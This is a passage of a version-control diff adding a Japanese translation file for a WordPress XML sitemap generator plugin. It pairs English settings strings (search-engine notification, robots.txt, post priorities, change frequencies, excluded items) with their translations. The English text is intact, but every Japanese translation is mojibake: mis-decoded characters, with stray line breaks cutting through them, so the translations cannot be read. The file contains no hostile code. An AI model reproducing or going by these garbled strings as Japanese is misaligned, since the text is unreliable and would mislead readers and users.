+msgstr "æ§ç¯ã¢ãŒã:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3064
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:729
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr "ãã­ã°ã®ã³ã³ãã³ããå€æŽããããµã€ãããããåæ§ç¯ãã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3071
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:736
+msgid "Enable manual sitemap building via GET Request"
+msgstr "GET ãªã¯ãšã¹ãã«ããæåã®ãµã€ããããäœæãèš±å¯ãã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3075
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:740
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the logfile above to see if sitemap was successfully built."
+msgstr "WordPress API ãäœ¿ããªãå€éšããŒã«ã WordPress ããŒã¿ããŒã¹ã«æžãèŸŒã¿ãããå Žåã«ãµã€ãããããæŽæ°ããããšãã§ããŸããåŠçãè¡ãã«ã¯ãä»¥äžã® URL ãã¯ãªãã¯ããŠãã ãã: <a href=\"%1\">%1</a> ãµã€ããããã®æ§ç¯ãæåãããã©ããç¥ãã«ã¯ãäžèšã®ã­ã°ãã¡ã€ã«ãç¢ºèªããŠãã ããã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:744
+msgid "Update notification:"
+msgstr "éç¥ãæŽæ°:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3083
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:748
+msgid "Notify Google about updates of your Blog"
+msgstr "Google ã«ãã­ã°ã®æŽæ°ãéç¥"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3084
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:749
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr "ç»é²ã¯å¿
+èŠãããŸãããã<a href=\"%s\">Google ãŠã§ããã¹ã¿ãŒããŒã«</a> ã§ã¯ã­ãŒã«é¢é£ã®çµ±èšãèŠãããšãã§ããŸãã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:753
+msgid "Notify Bing (formerly MSN Live Search) about updates of your Blog"
+msgstr "Bing (æ§å MSN Live ãµãŒã) ã«ãã­ã°ã®æŽæ°ãéç¥"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:754
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Bing Webmaster Tools</a> to check crawling statistics."
+msgstr "ç»é²ã¯å¿
+èŠãããŸãããã<a href=\"%s\">Bing ãŠã§ããã¹ã¿ãŒããŒã«</a> ã§ã¯ã­ãŒã«é¢é£ã®çµ±èšãèŠãããšãã§ããŸãã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3088
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:758
+msgid "Notify Ask.com about updates of your Blog"
+msgstr "Ask.com ã«ãã­ã°ã®æŽæ°ãéç¥"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3089
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:759
+msgid "No registration required."
+msgstr "ç»é²ã¯å¿
+èŠãããŸããã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3093
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:763
+msgid "Notify YAHOO about updates of your Blog"
+msgstr "Yahoo! ã«ãã­ã°ã®æŽæ°ãéç¥"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:764
+msgid "Your Application ID:"
+msgstr "ã¢ããªã±ãŒã·ã§ã³ ID:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:765
+#, php-format
+msgid "Don't you have such a key? <a href=\"%s1\">Request one here</a>! %s2"
+msgstr "ã­ãŒãæã£ãŠããŸããã ? <a href=\"%s1\">ãã¡ãã§ãªã¯ãšã¹ãããŠãã ãã</a> ! %s2"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:770
+msgid "Add sitemap URL to the virtual robots.txt file."
+msgstr "ãµã€ããããã® URL ãä»®æ³ robots.txt ãã¡ã€ã«ã«è¿œå "
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:774
+msgid "The virtual robots.txt generated by WordPress is used. A real robots.txt file must NOT exist in the blog directory!"
+msgstr "WordPress ãçæããä»®æ³ robots.txt ãã¡ã€ã«ãäœ¿çšããŠããŸããå®éã® robots.txt ãã¡ã€ã«ããã­ã°ãã£ã¬ã¯ããªã«çœ®ããªãã§ãã ããã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:777
+msgid "Advanced options:"
+msgstr "é«åºŠãªèš­å®:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:780
+msgid "Limit the number of posts in the sitemap:"
+msgstr "ãµã€ããããå
+ã®æçš¿æ°ãå¶é:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:780
+msgid "Newer posts will be included first"
+msgstr "æ°ããæçš¿ãæåã«å«ãã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:783
+msgid "Try to increase the memory limit to:"
+msgstr "ã¡ã¢ãªã®æå€§å€ãä»¥äžã«å¢å :"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:783
+msgid "e.g. \"4M\", \"16M\""
+msgstr "äŸ: \"4M\"ã\"16M\""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:786
+msgid "Try to increase the execution time limit to:"
+msgstr "å®è¡æéå¶éãä»¥äžã«å¢å :"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:786
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr "ç§ã§æå®ïŒäŸ: \"60\" ãªã©ããŸãã¯ç¡å¶éã®å Žåã¯ \"0\")"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:790
+msgid "Include a XSLT stylesheet:"
+msgstr "XSLT ã¹ã¿ã€ã«ã·ãŒããå«ãã:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:791
+msgid "Full or relative URL to your .xsl file"
+msgstr ".xsl ãã¡ã€ã«ãžã®çµ¶å¯ŸãŸãã¯çžå¯Ÿãã¹"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:791
+msgid "Use default"
+msgstr "ããã©ã«ãèš­å®ãäœ¿çš"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:797
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr "MySQL ã¹ã¿ã³ããŒãã¢ãŒããæå¹åãããMySQL ãšã©ãŒãçºçããŠãããšãã®ã¿äœ¿çšããŠãã ãã (ããå€§éã®ã¡ã¢ãªãŒãå¿
+èŠã«ãªããŸã !) ã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:798
+msgid "Upgrade WordPress at least to 2.2 to enable the faster MySQL access"
+msgstr "MySQL ãžã®é«éãªã¢ã¯ã»ã¹ãæå¹ã«ãããããWordPress ãããŒãžã§ã³ 2.2 ä»¥äžã«ã¢ããã°ã¬ãŒã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3166
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:805
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr "ãµã€ãããããããã¯ã°ã©ãŠã³ãåŠçã§æ§ç¯ãã (æçš¿ãä¿å­ããéã«åŸ
+ã€å¿
+èŠããããŸãã)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:806
+msgid "Upgrade WordPress at least to 2.1 to enable background building"
+msgstr "ããã¯ã°ã©ãŠã³ãã§ã®æ§ç¯ãæå¹ã«ãããããWordPress ãããŒãžã§ã³ 2.1 ä»¥äžã«ã¢ããã°ã¬ãŒã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:813
+msgid "Additional pages"
+msgstr "è¿œå ããŒãžã®èš­å®"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:816
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "WordPress ãã­ã°ã® URL ä»¥å€ã§ãµã€ããããã«å«ãã URL ãæå®ã§ããŸã<br />äŸãã°ãã¡ã€ã³ã www.foo.com ã§ãã­ã°ã® URL ã www.foo.com/blog ã®å Žåãwww.foo.com ãæå®ããŠãµã€ããããã«å«ããããšãå¯èœã§ãã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:818
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:997
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1011
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1020
+msgid "Note"
+msgstr "ã¡ã¢"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:819
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "ãããã®ãã­ã°ããµããã£ã¬ã¯ããªã«é
+çœ®ãããŠããŠããã­ã°ãã£ã¬ã¯ããªä»¥å€ã®ããŒãžããµã€ããããã«å«ããããšãã¯ããµã€ãããããã¡ã€ã«ãå¿
+ãã«ãŒããã£ã¬ã¯ããªã«é
+çœ®ããªããŠã¯ãªããŸãã (ãã®ããŒãžã® &quot;ãµã€ãããããã¡ã€ã«ã®å Žæ&quot; èš­å®ãç¢ºèªããŠäžãã) ã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:821
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:860
+msgid "URL to the page"
+msgstr "ããŒãžã® URL"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:822
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "ããŒãžã® URL ãå
+¥åããŠäžããã äŸ: http://www.foo.com/index.html ã www.foo.com/home "
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:824
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:861
+msgid "Priority"
+msgstr "åªå
+é äœã®èš­å® (priority)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:825
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "ä»ã®ããŒãžã«å¯Ÿããçžå¯Ÿçãªåªå
+é äœãéžãã§ãã ããã äŸãã°ãããŒã ããŒãžã®åªå
+é äœãä»ã®ããŒãžããé«ãã§ããŸãã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:827
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:863
+msgid "Last Changed"
+msgstr "æçµæŽæ°æ¥"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:828
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "æçµæŽæ°æ¥ã YYYY-MM-DD åœ¢åŒã§å
+¥åããŠäžããã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:862
+msgid "Change Frequency"
+msgstr "æŽæ°é »åºŠã®èš­å® (changefreq)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:864
+msgid "#"
+msgstr "#"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:869
+msgid "No pages defined."
+msgstr "è¿œå ããŒãžã¯å®çŸ©ãããŠããŸããã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:874
+msgid "Add new page"
+msgstr "æ°ããããŒãžã®è¿œå "
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:879
+msgid "Post Priority"
+msgstr "æçš¿ã®åªå
+é äœ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3329
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:881
+msgid "Please select how the priority of each post should be calculated:"
+msgstr "æçš¿ã®åªå
+é äœã®èšç®æ¹æ³ãéžæããŠãã ãã:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:883
+msgid "Do not use automatic priority calculation"
+msgstr "åªå
+é äœãèªåçã«èšç®ããªã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:883
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr "ãã¹ãŠã®æçš¿ã &quot;åªå
+é äœ&quot; ã§å®çŸ©ãããã®ãšåãåªå
+åºŠãæã€ããã«ãªããŸãã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:894
+msgid "Location of your sitemap file"
+msgstr "ãµã€ãããããã¡ã€ã«ã®å Žæ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:897
+msgid "Automatic detection"
+msgstr "èªåæ€åº"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:901
+msgid "Filename of the sitemap file"
+msgstr "ãµã€ãããããã¡ã€ã«å"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:904
+msgid "Detected Path"
+msgstr "ãã¹ã®çŽæ¥èš­å®"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:904
+msgid "Detected URL"
+msgstr "æ€åºããã URL"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:909
+msgid "Custom location"
+msgstr "æåé
+çœ®"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:913
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "ãã¡ã€ã«åãå«ããµã€ãããããã¡ã€ã«ãžã®çžå¯Ÿãããã¯çµ¶å¯Ÿãã¹"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:915
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:924
+msgid "Example"
+msgstr "äŸ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:922
+msgid "Complete URL to the sitemap file, including name."
+msgstr "ãã¡ã€ã«åãå«ã Sitemap ãã¡ã€ã«ãžã®å®å
+šãª URL"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:935
+msgid "Sitemap Content"
+msgstr "Sitemap ã³ã³ãã³ã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:941
+msgid "Include homepage"
+msgstr "ããŒã ããŒãž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:947
+msgid "Include posts"
+msgstr "æçš¿ (åå¥èšäº) ãå«ãã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:953
+msgid "Include following pages of multi-page posts (Increases build time and memory usage!)"
+msgstr "è€æ°ããŒãžã«ãããæçš¿ã®å
+šããŒãžãå«ãã (æ§ç¯æéãšã¡ã¢ãªãŒäœ¿çšéãå¢å ããŸã)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:959
+msgid "Include static pages"
+msgstr "åºå®ããŒãžãå«ãã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:965
+msgid "Include categories"
+msgstr "ã«ããŽãªãŒããŒãžãå«ãã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:971
+msgid "Include archives"
+msgstr "ã¢ãŒã«ã€ãããŒãžãå«ãã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:978
+msgid "Include tag pages"
+msgstr "ã¿ã°ããŒãžãå«ãã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:985
+msgid "Include author pages"
+msgstr "æçš¿è
+ããŒãžãå«ãã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:993
+msgid "Excluded items"
+msgstr "å«ããªãé 
+ç®"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:995
+msgid "Excluded categories"
+msgstr "å«ããªãã«ããŽãªãŒ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:997
+msgid "Using this feature will increase build time and memory usage!"
+msgstr "ãã®æ©èœãäœ¿çšãããšãæ§ç¯æéããã³äœ¿çšã¡ã¢ãªãå¢å ããŸãã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1004
+#, php-format
+msgid "This feature requires at least WordPress 2.5.1, you are using %s"
+msgstr "ãäœ¿ãã® WordPress ã®ããŒãžã§ã³ã¯ %s ã§ãããã®æ©èœã«ã¯ 2.5.1 ä»¥éãžã®ã¢ããã°ã¬ãŒããå¿
+èŠã§ãã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1007
+msgid "Exclude posts"
+msgstr "æçš¿ (åå¥èšäº) ãå«ããªã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1009
+msgid "Exclude the following posts or pages:"
+msgstr "ä»¥äžã®æçš¿ãŸãã¯åºå®ããŒãžãå«ããªã:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1009
+msgid "List of IDs, separated by comma"
+msgstr "ã«ã³ãåºåãã® ID äžèŠ§"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1011
+msgid "Child posts won't be excluded automatically!"
+msgstr "å­ã«ããŽãªãŒã¯èªåçã«é€å€ãããŸããã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1017
+msgid "Change frequencies"
+msgstr "æŽæ°é »åºŠã®èš­å® (changefreq)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1021
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "ãã®ã¿ã°ã®å€ã¯çµ¶å¯Ÿçãªåœä»€ã§ã¯ãªããã³ããšã¿ãªãããŸããæ€çŽ¢ãšã³ãžã³ã®ã¯ã­ãŒã©ã¯ãã®èš­å®ãèæ
+®ã«å
+¥ããŸããã\"1æéãã\" ã®èš­å®ã«ããŠããã®é »åºŠã§ã¯ã­ãŒã«ããªããããããªããã\"å¹Žã«1åºŠ\" ã®èš­å®ã«ããŠãããé »ç¹ã«ã¯ã­ãŒã«ããããããããŸããããŸã \"æŽæ°ãªã\" ã«èš­å®ãããããŒãžããäºæ³å€ã®å€æŽã«å¯Ÿå¿ãããããããããå®æçã«ã¯ã­ãŒã«ãè¡ãããã§ãããã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1027
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1084
+msgid "Homepage"
+msgstr "ããŒã ããŒãž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1033
+msgid "Posts"
+msgstr "æçš¿ (åå¥èšäº) "
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1039
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1102
+msgid "Static pages"
+msgstr "åºå®ããŒãž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1045
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1108
+msgid "Categories"
+msgstr "ã«ããŽãªãŒå¥"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1051
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "ä»æã®ã¢ãŒã«ã€ã (ãããŠãã¯\"ããŒã ããŒãž\"ãšåãã§ããã)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1057
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "å€ãã¢ãŒã«ã€ã (å€ãæçš¿ãç·šéãããšãã«ã®ã¿å€æŽãããŸã)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1064
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1121
+msgid "Tag pages"
+msgstr "ã¿ã°ããŒãž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1071
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1128
+msgid "Author pages"
+msgstr "æçš¿è
+ããŒãž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1079
+msgid "Priorities"
+msgstr "åªå
+é äœã®èš­å® (priority)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1090
+msgid "Posts (If auto calculation is disabled)"
+msgstr "æçš¿ (åå¥èšäº) (\"åºæ¬çãªèš­å®\"ã§èªåèšç®ã«èš­å®ããŠããªãå Žåã«æå¹)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1096
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "æçš¿åªå
+åºŠã®æå°å€ (\"åºæ¬çãªèš­å®\"ã§èªåèšç®ã«èš­å®ããŠããå Žåã«æå¹)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1114
+msgid "Archives"
+msgstr "ã¢ãŒã«ã€ãå¥"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1139
+msgid "Update options"
+msgstr "èš­å®ãæŽæ° &raquo;"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1140
+msgid "Reset options"
+msgstr "èš­å®ããªã»ãã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:84
+msgid "XML-Sitemap Generator"
+msgstr "XML-Sitemap Generator"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:84
+msgid "XML-Sitemap"
+msgstr "XML-Sitemap"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:142
+msgid "Sitemap FAQ"
+msgstr "Sitemap ãã©ã°ã€ã³ FAQ"
+
+#~ msgid "Manual location"
+#~ msgstr "æåé
+çœ®"
+#~ msgid "OR"
+#~ msgstr "ãããã¯"
+#~ msgid "Error"
+#~ msgstr "ãšã©ãŒã§ãã"
+#~ msgid ""
+#~ "A new page was added. Click on &quot;Save page changes&quot; to save your "
+#~ "changes."
+#~ msgstr ""
+#~ "æ°ããè¿œå ããŒãžïŒã®èš­å®æ¬ïŒãå ãããŸããã ïŒããŒãžã®æ
+å ±ãå
+¥ååŸïŒ"
+#~ "&quot;å€æŽã®ä¿å­&quot ãæŒäžããŠèš­å®ãä¿å­ããŠäžããã"
+#~ msgid ""
+#~ "The page was deleted. Click on &quot;Save page changes&quot; to save your "
+#~ "changes."
+#~ msgstr ""
+#~ "æå®ãããè¿œå ããŒãžïŒã®èš­å®æ¬ïŒãåé€ããŸããã &quot;å€æŽã®ä¿å­&quot ã"
+#~ "æŒäžããŠèš­å®ãä¿å­ããŠäžããã"
+#~ msgid "You changes have been cleared."
+#~ msgstr "å€æŽã¯æ¢ã«åé€ãããŠããŸãã"
+#~ msgid "Manual rebuild"
+#~ msgstr "æåã«ãã Sitemap ãã¡ã€ã«ã®åæ§ç¯"
+#~ msgid ""
+#~ "If you want to build the sitemap without editing a post, click on here!"
+#~ msgstr ""
+#~ "ããæçš¿ã®ç·šéãªãã« Sitemap ãã¡ã€ã«ãåæ§ç¯ãããå Žåã¯ãã®ãã¿ã³ãæŒäž"
+#~ "ããŠãã ãã!"
+#~ msgid "Rebuild Sitemap"
+#~ msgstr "Sitemap ã®åæ§ç¯"
+#~ msgid "Save page changes"
+#~ msgstr "å€æŽã®ä¿å­"
+#~ msgid "Undo all page changes"
+#~ msgstr "ããŒãžã®å€æŽãå
+ã«æ»ã"
+#~ msgid "Delete marked page"
+#~ msgstr "ããŒã¯ãããããŒãžã®åé€"
+#~ msgid ""
+#~ "Enable automatic priority calculation for posts based on comment count"
+#~ msgstr ""
+#~ "æçš¿ã«å¯Ÿããã³ã¡ã³ãæ°ã§ãæçš¿ïŒåãšã³ããªïŒã®åªå
+é äœ(priority)ãèªåèšç®"
+#~ "ããæ©èœãæå¹ã«ãã"
+#~ msgid "Write debug comments"
+#~ msgstr "ãããã°çšã³ã¡ã³ãåºåãè¡ã"
+#~ msgid "Auto-Ping Google Sitemaps"
+#~ msgstr "Google Sitemap ã«æŽæ° ping ãéã"
+#~ msgid "This option will automatically tell Google about changes."
+#~ msgstr "ãã®ãªãã·ã§ã³ã¯ãå€æŽã Google ã«èªåçã«éç¥ããŸãã"
+#~ msgid "Includings"
+#~ msgstr "Sitemap ã«å«ãã é 
+ç®ã®èš­å®"
+#~ msgid "Informations and support"
+#~ msgstr "æ
+å ±ãšãµããŒã"
+#~ msgid ""
+#~ "Check %s for updates and comment there if you have any problems / "
+#~ "questions / suggestions."
+#~ msgstr ""
+#~ "ãããåé¡ãçåãææ¡ãããã° %s ã®ã¢ããããŒãæ
+å ±ãã³ã¡ã³ããç¢ºèªããŠäž"
+#~ "ããã"
+#~ msgid "URL:"
+#~ msgstr "URL:"
+#~ msgid "Path:"
+#~ msgstr "Path:"
+#~ msgid "Could not write into %s"
+#~ msgstr "%s ã«æžãèŸŒãããšãã§ããŸããã"
+#~ msgid "Successfully built sitemap file:"
+#~ msgstr "æ§ç¯ã«æåãã Sitemap ãã¡ã€ã«:"
+#~ msgid "Successfully built gzipped sitemap file:"
+#~ msgstr "æ§ç¯ã«æåãã gz å§çž®ããã Sitemap ãã¡ã€ã«:"
+#~ msgid "Could not ping to Google at %s"
+#~ msgstr "Google ãžã®æŽæ° ping ã®éä¿¡ãã§ããŸããã§ããã %s"
+#~ msgid "Successfully pinged Google at %s"
+#~ msgstr "Google ãžã®æŽæ° ping ã®éä¿¡ãæåããŸããã %s"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ja_EUC.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ja_EUC.po	(revision 44)
